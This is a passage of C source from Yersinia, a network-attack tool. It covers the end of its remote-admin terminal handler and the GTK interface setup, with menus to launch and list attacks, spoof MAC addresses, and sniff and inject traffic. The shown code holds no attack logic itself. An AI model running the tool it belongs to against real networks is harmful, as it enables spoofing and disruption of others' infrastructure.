term_vty_write(term_node, (char *)&buf[i], 1); if (!fail) fail=term_vty_flush(term_node); } } else { u_int16_t len=0; char *message, *auxstr; len = vty->command_len - vty->command_cursor; auxstr = strdup(&vty->buf_command[vty->command_cursor]); if (auxstr == NULL) { write_log(0,"admin_th_netowrk_peer strdup == NULL"); fail = -1; continue; } memcpy( &vty->buf_command[vty->command_cursor+1], auxstr, len); free(auxstr); vty->buf_command[vty->command_cursor]=buf[i]; if (term_states[term_node->state].do_echo && !vty->authing) { fail = term_vty_clear_line(term_node,len); if (!fail) fail = term_vty_write(term_node, (char *)&buf[i],1); fail = term_vty_write(term_node, &vty->buf_command[vty->command_cursor+1], len); message = (char *)malloc(len); if (message == NULL) { thread_error("admin_th_network_peer malloc",errno); fail = -1; continue; } memset(message, DEL, len); fail = term_vty_write(term_node, message, len); free(message); if (!fail) fail=term_vty_flush(term_node); } } vty->command_len++; vty->command_cursor++; vty->buf_command[vty->command_len] = 0; } } /* insert mode */ else { if (vty->command_len < MAX_COMMAND) { if (vty->command_len > vty->command_cursor) { vty->buf_command[vty->command_cursor]=buf[i]; vty->command_cursor++; } else { vty->buf_command[vty->command_len]=buf[i]; vty->command_len++; vty->command_cursor++; } if (term_states[term_node->state].do_echo && !vty->authing) { fail=term_vty_write(term_node, (char *)&buf[i], 1); if (!fail) fail=term_vty_flush(term_node); } } else { if (vty->command_len > vty->command_cursor) { vty->buf_command[vty->command_cursor]=buf[i]; vty->command_cursor++; if (term_states[term_node->state].do_echo) { fail=term_vty_write(term_node, (char *)&buf[i], 1); if (!fail) fail=term_vty_flush(term_node); } } else { fail=term_vty_write(term_node,"\x7",1); if (!fail) fail=term_vty_flush(term_node); } } vty->buf_command[vty->command_len] = 0; } /* insert mode */ } /* if printable */ } /* Next char on buffer...*/ } /* if select */ timeout.tv_sec = 0; timeout.tv_usec = 250000; } /* While(!fail && !stop) */ admin_th_network_peer_exit(term_node,0); return(NULL); } /* * We arrived here due to normal termination * from thread peer main routine... * Release resources and delete acquired terminal... */ void admin_th_network_peer_exit(struct term_node *term_node, int32_t sock) { dlist_t *p; struct interface_data *iface_data; if (term_node) { for (p = term_node->used_ints->list; p; p = dlist_next(term_node->used_ints->list, p)) { iface_data = (struct interface_data *) dlist_data(p); interfaces_disable(iface_data->ifname); } attack_kill_th(term_node,ALL_ATTACK_THREADS); if (pthread_mutex_lock(&terms->mutex) != 0) thread_error("th_network_peer pthread_mutex_lock",errno); term_delete_node(term_node, NOKILL_THREAD); if (pthread_mutex_unlock(&terms->mutex) != 0) thread_error("th_network_peer pthread_mutex_unlock",errno); if (pthread_mutex_unlock(&term_node->thread.finished) != 0) thread_error("th_netowrk_peer pthread_mutex_unlock",errno); } else { if (sock) close(sock); } write_log(0," admin_peer_th %d finished...\n",(int)pthread_self()); pthread_exit(NULL); } /* * Turn down the network admin interface... * I'm unaware of handling errors 'cause we're going to die... */ void admin_exit(void) { #ifdef HAVE_REMOTE_ADMIN /* Kill the admin listener thread... */ /* In fact, the admin listener thread will kill all the peer threads */ /* associated with the vty terminals, and each one will delete every */ /* vty terminal. */ if (terms->admin_listen_th.id) thread_destroy(&terms->admin_listen_th); #endif } /* vim:set tabstop=4:set expandtab:set shiftwidth=4:set textwidth=78: */ yersinia-0.7.3/src/gtk-interface.c0000644000175000017500000022541512234207266014641 0ustar nknk/* gtk_interface.c * * GTK Interface setup * * Yersinia * By David Barroso and Alfredo Andres * Copyright 2005, 2006, 2007 Alfredo Andres and David Barroso * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef lint static const char rcsid[] = "$Id: gtk-interface.c 43 2007-04-27 11:07:17Z slay $"; #endif #ifdef HAVE_CONFIG_H # include #endif #include #include #include #include #include #include #include #include "gtk-interface.h" #define GLADE_HOOKUP_OBJECT(component,widget,name) \ g_object_set_data_full (G_OBJECT (component), name, \ gtk_widget_ref (widget), (GDestroyNotify) gtk_widget_unref) #define GLADE_HOOKUP_OBJECT_NO_REF(component,widget,name) \ g_object_set_data (G_OBJECT (component), name, widget) GtkWidget* gtk_i_create_Main (struct gtk_s_helper *helper) { u_int8_t i; char title[64]; GtkWidget *Main; GtkWidget *main_vbox; GtkWidget *main_menubar; GtkWidget *menu_file; GtkWidget *menu_file_menu; GtkWidget *menu_file_open; GtkWidget *menu_file_save; GtkWidget *separatormenuitem1; GtkWidget *menu_file_quit; GtkWidget *menu_protocols; GtkWidget *menu_protocols_menu; GtkWidget *menu_protocols_proto1; GtkWidget *menu_actions; GtkWidget *menu_actions_menu; GtkWidget *menu_actions_execute; GtkWidget *menu_actions_execute_img; GtkWidget *menu_actions_interfaces; GtkWidget *menu_actions_interfaces_img; GtkWidget *menu_actions_load_default; GtkWidget *menu_actions_load_default_img; GtkWidget *menu_actions_list_attacks; GtkWidget *menu_actions_list_attacks_img; GtkWidget *menu_actions_clear; GtkWidget *menu_actions_clear_img; GtkWidget *menu_actions_clear_menu; GtkWidget *menu_clear_proto1; GtkWidget *menu_capture; GtkWidget *menu_capture_img; GtkWidget *menu_capture_menu; GtkWidget *menu_capture_proto1; GtkWidget *menu_options; GtkWidget *menu_options_menu; GtkWidget *menu_options_edit; GtkWidget *menu_options_macspoofing; GtkWidget *menu_help; GtkWidget *menu_help_menu; GtkWidget *menu_help_about; GtkWidget *toolbar; GtkIconSize tmp_toolbar_icon_size; GtkWidget *toolbar_launch_img; GtkWidget *toolbar_launch; GtkWidget *toolbar_interfaces_img; GtkWidget *toolbar_interfaces; GtkWidget *toolbar_default_img; GtkWidget *toolbar_default; GtkWidget *toolbar_list_attacks_img; GtkWidget *toolbar_list_attacks; GtkWidget *toolbar_clear; GtkWidget *toolbar_clear_img; GtkWidget *toolbar_capture; GtkWidget *toolbar_capture_img; GtkWidget *toolbar_edit; GtkWidget *toolbar_edit_img; GtkWidget *toolbar_quit_img; GtkWidget *toolbar_quit; GtkWidget *main_vbox_hpaned; GtkWidget *main_vh_vpaned; GtkWidget *main_vhv_scroll; GtkListStore *main_vhvs_tree_model; GtkListStore *main_vhvvs_tree_model; GtkTreeIter iter; GtkCellRenderer *cell; GtkCellRenderer *cell2; GtkTreeViewColumn *column; GtkWidget *main_vhvs_tree; GtkWidget *main_vhvvs_tree; GtkWidget *main_vhv_vbox; GtkWidget *main_vhvv_scroll; GtkWidget *main_vhvv_clock; GtkWidget *main_vhvv_eventbox; GtkWidget *main_vh2_vpaned; GtkTextBuffer *buffer_hex; GtkWidget *main_vhv2_scrollhex; GtkWidget *main_vhv2_texthex; GtkWidget *main_vhv2_notebook; GtkWidget *protocols_vpaned[MAX_PROTOCOLS + 1]; GtkWidget *main_vhn_labels[MAX_PROTOCOLS + 1]; GtkWidget *main_log_scroll; GtkWidget *main_log; GtkTooltips *tooltips; GtkAccelGroup *accel_group; GdkColor color; PangoFontDescription *font_desc; accel_group = gtk_accel_group_new (); /* Tooltips */ tooltips = gtk_tooltips_new(); helper->tooltips = tooltips; gtk_tooltips_enable(tooltips); /* Main window */ Main = gtk_window_new (GTK_WINDOW_TOPLEVEL); snprintf(title, 64, "Yersinia %s", VERSION); gtk_window_set_title (GTK_WINDOW (Main), title); gtk_window_set_default_size (GTK_WINDOW (Main), 640, 480); main_vbox = gtk_vbox_new (FALSE, 0); gtk_widget_show (main_vbox); gtk_container_add (GTK_CONTAINER (Main), main_vbox); /* Menu widgets */ main_menubar = gtk_menu_bar_new (); gtk_widget_show (main_menubar); gtk_box_pack_start (GTK_BOX (main_vbox), main_menubar, FALSE, FALSE, 0); /* Menu File */ menu_file = gtk_menu_item_new_with_mnemonic (_("_File")); gtk_widget_show (menu_file); gtk_container_add (GTK_CONTAINER (main_menubar), menu_file); menu_file_menu = gtk_menu_new (); gtk_menu_item_set_submenu (GTK_MENU_ITEM (menu_file), menu_file_menu); /* Menu File - Open */ menu_file_open = gtk_image_menu_item_new_from_stock ("gtk-open", accel_group); gtk_widget_show (menu_file_open); gtk_container_add (GTK_CONTAINER (menu_file_menu), menu_file_open); /* Menu File - Save */ menu_file_save = gtk_image_menu_item_new_from_stock ("gtk-save", accel_group); gtk_widget_show (menu_file_save); gtk_container_add (GTK_CONTAINER (menu_file_menu), menu_file_save); /* Menu File - Separator */ separatormenuitem1 = gtk_separator_menu_item_new (); gtk_widget_show (separatormenuitem1); gtk_container_add (GTK_CONTAINER (menu_file_menu), separatormenuitem1); gtk_widget_set_sensitive (separatormenuitem1, FALSE); /* Menu File - Quit */ menu_file_quit = gtk_image_menu_item_new_from_stock ("gtk-quit", accel_group); gtk_widget_show (menu_file_quit); gtk_container_add (GTK_CONTAINER (menu_file_menu), menu_file_quit); /* Menu Protocols */ menu_protocols = gtk_menu_item_new_with_mnemonic (_("_Protocols")); gtk_widget_show (menu_protocols); gtk_container_add (GTK_CONTAINER (main_menubar), menu_protocols); menu_protocols_menu = gtk_menu_new (); gtk_menu_item_set_submenu (GTK_MENU_ITEM (menu_protocols), menu_protocols_menu); /* Menu Protocols - PROTO_NAME */ for (i = 0; i < MAX_PROTOCOLS; i++) { menu_protocols_proto1 = gtk_check_menu_item_new_with_mnemonic (_(protocols[i].namep)); gtk_check_menu_item_set_active(GTK_CHECK_MENU_ITEM(menu_protocols_proto1), TRUE); if (protocols[i].visible) gtk_widget_show (menu_protocols_proto1); gtk_container_add (GTK_CONTAINER (menu_protocols_menu), menu_protocols_proto1); g_signal_connect ((gpointer) menu_protocols_proto1, "toggle", G_CALLBACK (gtk_c_on_protocols_toggle), &i); } /* Menu Actions */ menu_actions = gtk_menu_item_new_with_mnemonic (_("_Actions")); gtk_widget_show (menu_actions); gtk_container_add (GTK_CONTAINER (main_menubar), menu_actions); menu_actions_menu = gtk_menu_new (); gtk_menu_item_set_submenu (GTK_MENU_ITEM (menu_actions), menu_actions_menu); /* Menu Actions - Execute Attack */ menu_actions_execute = gtk_image_menu_item_new_with_mnemonic (_("e_Xecute attack")); menu_actions_execute_img = gtk_image_new_from_stock ("gtk-execute", GTK_ICON_SIZE_MENU); gtk_widget_show(menu_actions_execute_img); gtk_image_menu_item_set_image(GTK_IMAGE_MENU_ITEM(menu_actions_execute), menu_actions_execute_img); gtk_widget_show (menu_actions_execute); gtk_container_add (GTK_CONTAINER (menu_actions_menu), menu_actions_execute); gtk_widget_add_accelerator (menu_actions_execute, "activate", accel_group, GDK_x, (GdkModifierType) GDK_CONTROL_MASK, GTK_ACCEL_VISIBLE); /* Menu Actions - Edit interfaces */ menu_actions_interfaces = gtk_image_menu_item_new_with_mnemonic (_("edit _Interfaces")); menu_actions_interfaces_img = gtk_image_new_from_stock ("gtk-preferences", GTK_ICON_SIZE_MENU); gtk_widget_show(menu_actions_interfaces_img); gtk_image_menu_item_set_image(GTK_IMAGE_MENU_ITEM(menu_actions_interfaces), menu_actions_interfaces_img); gtk_widget_show (menu_actions_interfaces); gtk_container_add (GTK_CONTAINER (menu_actions_menu), menu_actions_interfaces); gtk_widget_add_accelerator (menu_actions_interfaces, "activate", accel_group, GDK_i, (GdkModifierType) GDK_CONTROL_MASK, GTK_ACCEL_VISIBLE); /* Menu Actions - Load Default */ menu_actions_load_default = gtk_image_menu_item_new_with_mnemonic (_("Load protocol _Default values")); menu_actions_load_default_img = gtk_image_new_from_stock ("gtk-network", GTK_ICON_SIZE_MENU); gtk_widget_show(menu_actions_load_default_img); gtk_image_menu_item_set_image(GTK_IMAGE_MENU_ITEM(menu_actions_load_default), menu_actions_load_default_img); gtk_widget_show (menu_actions_load_default); gtk_container_add (GTK_CONTAINER (menu_actions_menu), menu_actions_load_default); gtk_widget_add_accelerator (menu_actions_load_default, "activate", accel_group, GDK_d, (GdkModifierType) GDK_CONTROL_MASK, GTK_ACCEL_VISIBLE); /* Menu Actions - List Attacks */ menu_actions_list_attacks = gtk_image_menu_item_new_with_mnemonic (_("_list attacks")); menu_actions_list_attacks_img = gtk_image_new_from_stock ("gtk-justify-center", GTK_ICON_SIZE_MENU); gtk_widget_show(menu_actions_list_attacks_img); gtk_image_menu_item_set_image(GTK_IMAGE_MENU_ITEM(menu_actions_list_attacks), menu_actions_list_attacks_img); gtk_widget_show (menu_actions_list_attacks); gtk_container_add (GTK_CONTAINER (menu_actions_menu), menu_actions_list_attacks); gtk_widget_add_accelerator (menu_actions_list_attacks, "activate", accel_group, GDK_T, (GdkModifierType) GDK_CONTROL_MASK, GTK_ACCEL_VISIBLE); /* Menu Actions - Clear stats */ menu_actions_clear = gtk_image_menu_item_new_with_mnemonic (_("_Clear packet stats")); menu_actions_clear_img = gtk_image_new_from_stock ("gtk-clear", GTK_ICON_SIZE_MENU); gtk_widget_show(menu_actions_clear_img); gtk_image_menu_item_set_image(GTK_IMAGE_MENU_ITEM(menu_actions_clear), menu_actions_clear_img); gtk_widget_show (menu_actions_clear); gtk_container_add (GTK_CONTAINER (menu_actions_menu), menu_actions_clear); menu_actions_clear_menu = gtk_menu_new(); gtk_menu_item_set_submenu(GTK_MENU_ITEM(menu_actions_clear), menu_actions_clear_menu); /* Menu Actions - Clear stats - PROTO_NAME */ for (i = 0; i < MAX_PROTOCOLS; i++) { menu_clear_proto1 = gtk_menu_item_new_with_mnemonic (_(protocols[i].namep)); gtk_widget_set_name(menu_clear_proto1, protocols[i].namep); if (protocols[i].visible) gtk_widget_show (menu_clear_proto1); gtk_container_add (GTK_CONTAINER (menu_actions_clear_menu), menu_clear_proto1); g_signal_connect ((gpointer) menu_clear_proto1, "activate", G_CALLBACK (gtk_c_on_actions_clear_activate), helper); } /* Menu Actions - Clear stats - ALL PROTOCOLS */ menu_clear_proto1 = gtk_menu_item_new_with_mnemonic (_("All protocols")); gtk_widget_set_name(menu_clear_proto1, "ALL"); gtk_widget_show (menu_clear_proto1); gtk_container_add (GTK_CONTAINER (menu_actions_clear_menu), menu_clear_proto1); g_signal_connect ((gpointer) menu_clear_proto1, "activate", G_CALLBACK (gtk_c_on_actions_clear_activate), helper); /* Menu Actions - Capture Traffic */ menu_capture = gtk_image_menu_item_new_with_mnemonic (_("Capture traffic")); menu_capture_img = gtk_image_new_from_stock("gtk-save", GTK_ICON_SIZE_MENU); gtk_widget_show(menu_capture_img); gtk_image_menu_item_set_image(GTK_IMAGE_MENU_ITEM(menu_capture), menu_capture_img); gtk_widget_show (menu_capture); gtk_container_add (GTK_CONTAINER (menu_actions_menu), menu_capture); menu_capture_menu = gtk_menu_new (); gtk_menu_item_set_submenu (GTK_MENU_ITEM (menu_capture), menu_capture_menu); /* Menu Actions - Capture Traffic - PROTO_NAME */ for (i = 0; i < MAX_PROTOCOLS; i++) { menu_capture_proto1 = gtk_menu_item_new_with_mnemonic (_(protocols[i].namep)); gtk_widget_set_name(menu_capture_proto1, protocols[i].namep); if (protocols[i].visible) gtk_widget_show (menu_capture_proto1); gtk_container_add (GTK_CONTAINER (menu_capture_menu), menu_capture_proto1); g_signal_connect ((gpointer) menu_capture_proto1, "activate", G_CALLBACK (gtk_c_on_capture_activate), helper); } /* Menu Actions - Capture Traffic - ALL PROTOCOLS */ menu_capture_proto1 = gtk_menu_item_new_with_mnemonic (_("All protocols")); gtk_widget_set_name(menu_capture_proto1, "ALL"); gtk_widget_show (menu_capture_proto1); gtk_container_add (GTK_CONTAINER (menu_capture_menu), menu_capture_proto1); g_signal_connect ((gpointer) menu_capture_proto1, "activate", G_CALLBACK (gtk_c_on_capture_activate), helper); /* Menu Options */ menu_options = gtk_menu_item_new_with_mnemonic (_("_Options")); gtk_widget_show (menu_options); gtk_container_add (GTK_CONTAINER (main_menubar), menu_options); menu_options_menu = gtk_menu_new (); gtk_menu_item_set_submenu (GTK_MENU_ITEM (menu_options), menu_options_menu); /* Menu Options - Edit mode */ /*menu_options_edit = gtk_check_menu_item_new_with_mnemonic (_("_Edit mode")); if (helper->edit_mode) gtk_check_menu_item_set_active (GTK_CHECK_MENU_ITEM(menu_options_edit), TRUE); else gtk_check_menu_item_set_active (GTK_CHECK_MENU_ITEM(menu_options_edit), FALSE); gtk_widget_show (menu_options_edit); gtk_container_add (GTK_CONTAINER (menu_options_menu), menu_options_edit); gtk_widget_add_accelerator (menu_options_edit, "activate", accel_group, GDK_E, (GdkModifierType) GDK_CONTROL_MASK, GTK_ACCEL_VISIBLE);*/ /* Menu Options - MAC Spoofing */ menu_options_macspoofing = gtk_check_menu_item_new_with_mnemonic (_("_MAC Spoofing")); if (helper->node->mac_spoofing) gtk_check_menu_item_set_active (GTK_CHECK_MENU_ITEM(menu_options_macspoofing), TRUE); else gtk_check_menu_item_set_active (GTK_CHECK_MENU_ITEM(menu_options_macspoofing), FALSE); gtk_widget_show (menu_options_macspoofing); gtk_container_add (GTK_CONTAINER (menu_options_menu), menu_options_macspoofing); gtk_widget_add_accelerator (menu_options_macspoofing, "activate", accel_group, GDK_M, (GdkModifierType) GDK_CONTROL_MASK, GTK_ACCEL_VISIBLE); /* Menu Help */ menu_help = gtk_menu_item_new_with_mnemonic (_("_Help")); gtk_widget_show (menu_help); gtk_container_add (GTK_CONTAINER (main_menubar), menu_help); menu_help_menu = gtk_menu_new (); gtk_menu_item_set_submenu (GTK_MENU_ITEM (menu_help), menu_help_menu); /* Menu Help - About */ menu_help_about = gtk_image_menu_item_new_from_stock ("gtk-about", accel_group); gtk_widget_show (menu_help_about); gtk_container_add (GTK_CONTAINER (menu_help_menu), menu_help_about); /* Toolbar */ toolbar = gtk_toolbar_new(); gtk_widget_show(toolbar); gtk_toolbar_set_style (GTK_TOOLBAR (toolbar), GTK_TOOLBAR_BOTH); gtk_toolbar_set_tooltips(GTK_TOOLBAR(toolbar), TRUE); gtk_box_pack_start (GTK_BOX (main_vbox), toolbar, FALSE, FALSE, 0); tmp_toolbar_icon_size = gtk_toolbar_get_icon_size (GTK_TOOLBAR (toolbar)); /* Toolbar: launch attack */ toolbar_launch_img = gtk_image_new_from_stock ("gtk-execute", tmp_toolbar_icon_size); gtk_widget_show (toolbar_launch_img); toolbar_launch = (GtkWidget*) gtk_tool_button_new (toolbar_launch_img, _("Launch attack")); gtk_tool_item_set_tooltip(GTK_TOOL_ITEM(toolbar_launch), tooltips, ("Launch a specific attack"), NULL); gtk_widget_show (toolbar_launch); gtk_container_add (GTK_CONTAINER (toolbar), toolbar_launch); /* Toolbar: edit interfaces */ toolbar_interfaces_img = gtk_image_new_from_stock ("gtk-preferences", tmp_toolbar_icon_size); gtk_widget_show (toolbar_interfaces_img); toolbar_interfaces = (GtkWidget*) gtk_tool_button_new (toolbar_interfaces_img, _("Edit interfaces")); gtk_tool_item_set_tooltip(GTK_TOOL_ITEM(toolbar_interfaces), tooltips, ("Edit interfaces to sniff and inject data"), NULL); gtk_widget_show (toolbar_interfaces); gtk_container_add (GTK_CONTAINER (toolbar), toolbar_interfaces); /* Toolbar: load default values */ toolbar_default_img = gtk_image_new_from_stock ("gtk-network", tmp_toolbar_icon_size); gtk_widget_show (toolbar_default_img); toolbar_default = (GtkWidget*) gtk_tool_button_new (toolbar_default_img, _("Load default")); gtk_tool_item_set_tooltip(GTK_TOOL_ITEM(toolbar_default), tooltips, ("Load protocol default (and random) values"), NULL); gtk_widget_show (toolbar_default); gtk_container_add (GTK_CONTAINER (toolbar), toolbar_default); /* Toolbar: list attacks */ toolbar_list_attacks_img = gtk_image_new_from_stock ("gtk-justify-center", tmp_toolbar_icon_size); gtk_widget_show (toolbar_list_attacks_img); toolbar_list_attacks = (GtkWidget*) gtk_tool_button_new (toolbar_list_attacks_img, _("List attacks")); gtk_tool_item_set_tooltip(GTK_TOOL_ITEM(toolbar_list_attacks), tooltips, ("List running attacks (and kill them!)"), NULL); gtk_widget_show (toolbar_list_attacks); gtk_container_add (GTK_CONTAINER (toolbar), toolbar_list_attacks); /* Toolbar: clear */ toolbar_clear_img = gtk_image_new_from_stock ("gtk-clear", tmp_toolbar_icon_size); gtk_widget_show (toolbar_clear_img); toolbar_clear = (GtkWidget*) gtk_menu_tool_button_new (toolbar_clear_img, _("Clear stats")); gtk_tool_item_set_tooltip(GTK_TOOL_ITEM(toolbar_clear), tooltips, ("Clear ALL packet statistics"), NULL); gtk_menu_tool_button_set_menu(GTK_MENU_TOOL_BUTTON(toolbar_clear), menu_actions_clear_menu); gtk_widget_show (toolbar_clear); gtk_container_add (GTK_CONTAINER (toolbar), toolbar_clear); /* Toolbar: capture */ toolbar_capture_img = gtk_image_new_from_stock ("gtk-save", tmp_toolbar_icon_size); gtk_widget_show (toolbar_capture_img); toolbar_capture = (GtkWidget*) gtk_menu_tool_button_new (toolbar_capture_img, _("Capture")); gtk_tool_item_set_tooltip(GTK_TOOL_ITEM(toolbar_capture), tooltips, ("Capture traffic in PCAP format"), NULL); gtk_menu_tool_button_set_menu(GTK_MENU_TOOL_BUTTON(toolbar_capture), menu_capture_menu); gtk_widget_show (toolbar_capture); gtk_container_add (GTK_CONTAINER (toolbar), toolbar_capture); /* Toolbar: edit mode */ toolbar_edit = (GtkWidget*) gtk_toggle_tool_button_new (); gtk_widget_show (toolbar_edit); gtk_tool_button_set_label (GTK_TOOL_BUTTON (toolbar_edit), _("Edit mode")); gtk_tool_item_set_tooltip(GTK_TOOL_ITEM(toolbar_edit), tooltips, ("Enable/Disable edit mode"), NULL); toolbar_edit_img = gtk_image_new_from_stock ("gtk-edit", tmp_toolbar_icon_size); gtk_widget_show (toolbar_edit_img); gtk_tool_button_set_icon_widget (GTK_TOOL_BUTTON (toolbar_edit), toolbar_edit_img); gtk_container_add (GTK_CONTAINER (toolbar), toolbar_edit); //gtk_toggle_tool_button_set_active (GTK_TOGGLE_TOOL_BUTTON (toggletoolbutton1), TRUE); /* Toolbar: quit */ toolbar_quit_img = gtk_image_new_from_stock ("gtk-quit", tmp_toolbar_icon_size); gtk_widget_show (toolbar_quit_img); toolbar_quit = (GtkWidget*) gtk_tool_button_new (toolbar_quit_img, _("Exit")); gtk_tool_item_set_tooltip(GTK_TOOL_ITEM(toolbar_quit), tooltips, ("Quit: Bring da noize!!"), NULL); gtk_widget_show (toolbar_quit); gtk_container_add (GTK_CONTAINER (toolbar), toolbar_quit); main_vbox_hpaned = gtk_hpaned_new (); gtk_widget_show (main_vbox_hpaned); gtk_box_pack_start (GTK_BOX (main_vbox), main_vbox_hpaned, TRUE, TRUE, 0); main_vh_vpaned = gtk_vpaned_new (); gtk_widget_show (main_vh_vpaned); gtk_paned_pack1 (GTK_PANED (main_vbox_hpaned), main_vh_vpaned, FALSE, TRUE); main_vhv_scroll = gtk_scrolled_window_new (NULL, NULL); gtk_widget_set_size_request (main_vhv_scroll, 200, 250); gtk_widget_show (main_vhv_scroll); gtk_paned_pack1 (GTK_PANED (main_vh_vpaned), main_vhv_scroll, FALSE, TRUE); gtk_scrolled_window_set_policy (GTK_SCROLLED_WINDOW (main_vhv_scroll), GTK_POLICY_AUTOMATIC, GTK_POLICY_AUTOMATIC); gtk_scrolled_window_set_shadow_type (GTK_SCROLLED_WINDOW (main_vhv_scroll), GTK_SHADOW_IN); main_vhvs_tree = gtk_tree_view_new(); gtk_tree_view_set_rules_hint(GTK_TREE_VIEW(main_vhvs_tree), TRUE); main_vhvs_tree_model = gtk_list_store_new (2, G_TYPE_STRING, G_TYPE_INT); gtk_scrolled_window_add_with_viewport (GTK_SCROLLED_WINDOW (main_vhv_scroll), main_vhvs_tree); gtk_tree_view_set_model (GTK_TREE_VIEW (main_vhvs_tree), GTK_TREE_MODEL (main_vhvs_tree_model)); gtk_widget_show (main_vhvs_tree); for (i=0; i < MAX_PROTOCOLS; i++) { if (protocols[i].visible) { gtk_list_store_append (GTK_LIST_STORE (main_vhvs_tree_model), &iter); gtk_list_store_set (GTK_LIST_STORE(main_vhvs_tree_model), &iter, 0, protocols[i].namep, -1); gtk_list_store_set (GTK_LIST_STORE(main_vhvs_tree_model), &iter, 1, protocols[i].packets, -1); } } gtk_list_store_append (GTK_LIST_STORE (main_vhvs_tree_model), &iter); gtk_list_store_set (GTK_LIST_STORE(main_vhvs_tree_model), &iter, 0, "Total", -1); g_timeout_add(1000, (GSourceFunc)>k_c_tree_update, main_vhvs_tree_model); cell = gtk_cell_renderer_text_new (); cell2 = gtk_cell_renderer_text_new(); column = gtk_tree_view_column_new_with_attributes ("Protocols", cell, "text", 0, NULL); gtk_tree_view_append_column (GTK_TREE_VIEW (main_vhvs_tree), GTK_TREE_VIEW_COLUMN (column)); g_object_set(cell, "background", "Blue", "background-set", TRUE, NULL); g_object_set(cell, "foreground", "White", "foreground-set", TRUE, NULL); column = gtk_tree_view_column_new_with_attributes ("Packets", cell2, "text", 1, NULL); gtk_tree_view_append_column (GTK_TREE_VIEW (main_vhvs_tree), GTK_TREE_VIEW_COLUMN (column)); main_vhv_vbox = gtk_vbox_new (FALSE, 5); gtk_widget_show (main_vhv_vbox); gtk_paned_pack2 (GTK_PANED (main_vh_vpaned), main_vhv_vbox, TRUE, TRUE); main_vhvv_scroll = gtk_scrolled_window_new (NULL, NULL); gtk_widget_show (main_vhvv_scroll); gtk_box_pack_start (GTK_BOX (main_vhv_vbox), main_vhvv_scroll, TRUE, TRUE, 0); gtk_scrolled_window_set_policy (GTK_SCROLLED_WINDOW (main_vhvv_scroll), GTK_POLICY_AUTOMATIC, GTK_POLICY_AUTOMATIC); gtk_scrolled_window_set_shadow_type (GTK_SCROLLED_WINDOW (main_vhvv_scroll), GTK_SHADOW_IN); main_vhvvs_tree = gtk_tree_view_new(); gtk_tree_view_set_rules_hint(GTK_TREE_VIEW(main_vhvvs_tree), TRUE); main_vhvvs_tree_model = gtk_list_store_new (3, G_TYPE_STRING, G_TYPE_STRING, G_TYPE_STRING); gtk_scrolled_window_add_with_viewport (GTK_SCROLLED_WINDOW (main_vhvv_scroll), main_vhvvs_tree); gtk_tree_view_set_model (GTK_TREE_VIEW (main_vhvvs_tree), GTK_TREE_MODEL (main_vhvvs_tree_model)); gtk_widget_show (main_vhvvs_tree); cell = gtk_cell_renderer_text_new (); column = gtk_tree_view_column_new_with_attributes ("Field", cell, "text", 0, NULL); gtk_tree_view_append_column (GTK_TREE_VIEW (main_vhvvs_tree), GTK_TREE_VIEW_COLUMN (column)); column = gtk_tree_view_column_new_with_attributes ("Value", cell, "text", 1, NULL); gtk_tree_view_append_column (GTK_TREE_VIEW (main_vhvvs_tree), GTK_TREE_VIEW_COLUMN (column)); column = gtk_tree_view_column_new_with_attributes ("Description", cell, "text", 2, NULL); gtk_tree_view_append_column (GTK_TREE_VIEW (main_vhvvs_tree), GTK_TREE_VIEW_COLUMN (column)); main_vhvv_eventbox = gtk_event_box_new(); gtk_widget_set_size_request (main_vhvv_eventbox, 20, 20); color.red = 0; color.green = 0; color.blue = 0; //gtk_widget_modify_bg (GTK_WIDGET(main_vhvv_eventbox), GTK_STATE_NORMAL, &color); gtk_container_set_border_width(GTK_CONTAINER(main_vhvv_eventbox), 1); gtk_widget_show(main_vhvv_eventbox); main_vhvv_clock = gtk_label_new(_("00:00:00")); //gdk_color_parse ("green", &color); //gtk_widget_modify_fg (GTK_WIDGET(main_vhvv_clock), GTK_STATE_NORMAL, &color); gtk_widget_show(main_vhvv_clock); gtk_box_pack_start (GTK_BOX (main_vhv_vbox), main_vhvv_eventbox, FALSE, TRUE, 0); gtk_container_add(GTK_CONTAINER(main_vhvv_eventbox), main_vhvv_clock); main_vh2_vpaned = gtk_vpaned_new(); gtk_widget_show(main_vh2_vpaned); gtk_paned_pack2 (GTK_PANED (main_vbox_hpaned), main_vh2_vpaned, TRUE, TRUE); main_vhv2_notebook = gtk_notebook_new (); gtk_widget_show (main_vhv2_notebook); helper->notebook = main_vhv2_notebook; gtk_paned_pack1 (GTK_PANED (main_vh2_vpaned), main_vhv2_notebook, TRUE, TRUE); GLADE_HOOKUP_OBJECT (Main, main_vhv2_notebook, "main_vhv2_notebook"); for (i=0; i < MAX_PROTOCOLS; i++) { protocols_vpaned[i] = create_protocol_mwindow(Main, helper, i); if (protocols[i].visible) gtk_widget_show(protocols_vpaned[i]); gtk_container_add (GTK_CONTAINER (main_vhv2_notebook), protocols_vpaned[i]); main_vhn_labels[i] = gtk_label_new (_(protocols[i].namep)); if (protocols[i].visible) gtk_widget_show (main_vhn_labels[i]); gtk_notebook_set_tab_label (GTK_NOTEBOOK (main_vhv2_notebook), gtk_notebook_get_nth_page (GTK_NOTEBOOK (main_vhv2_notebook), i), main_vhn_labels[i]); } /* Yersinia log viewer */ tty_tmp->buffer_log = gtk_text_buffer_new(NULL); main_log_scroll = gtk_scrolled_window_new(NULL, NULL); gtk_widget_show(main_log_scroll); gtk_container_add(GTK_CONTAINER(main_vhv2_notebook), main_log_scroll); gtk_scrolled_window_set_policy (GTK_SCROLLED_WINDOW (main_log_scroll), GTK_POLICY_AUTOMATIC, GTK_POLICY_AUTOMATIC); gtk_scrolled_window_set_shadow_type (GTK_SCROLLED_WINDOW (main_log_scroll), GTK_SHADOW_IN); main_log = gtk_text_view_new_with_buffer(tty_tmp->buffer_log); gtk_text_view_set_editable(GTK_TEXT_VIEW(main_log), FALSE); gtk_text_view_set_cursor_visible(GTK_TEXT_VIEW(main_log), FALSE); gtk_widget_show(main_log); gtk_container_add (GTK_CONTAINER (main_log_scroll), main_log); main_vhn_labels[MAX_PROTOCOLS] = gtk_label_new (_("Yersinia log")); gtk_widget_show(main_vhn_labels[MAX_PROTOCOLS]); gtk_tooltips_set_tip(tooltips, 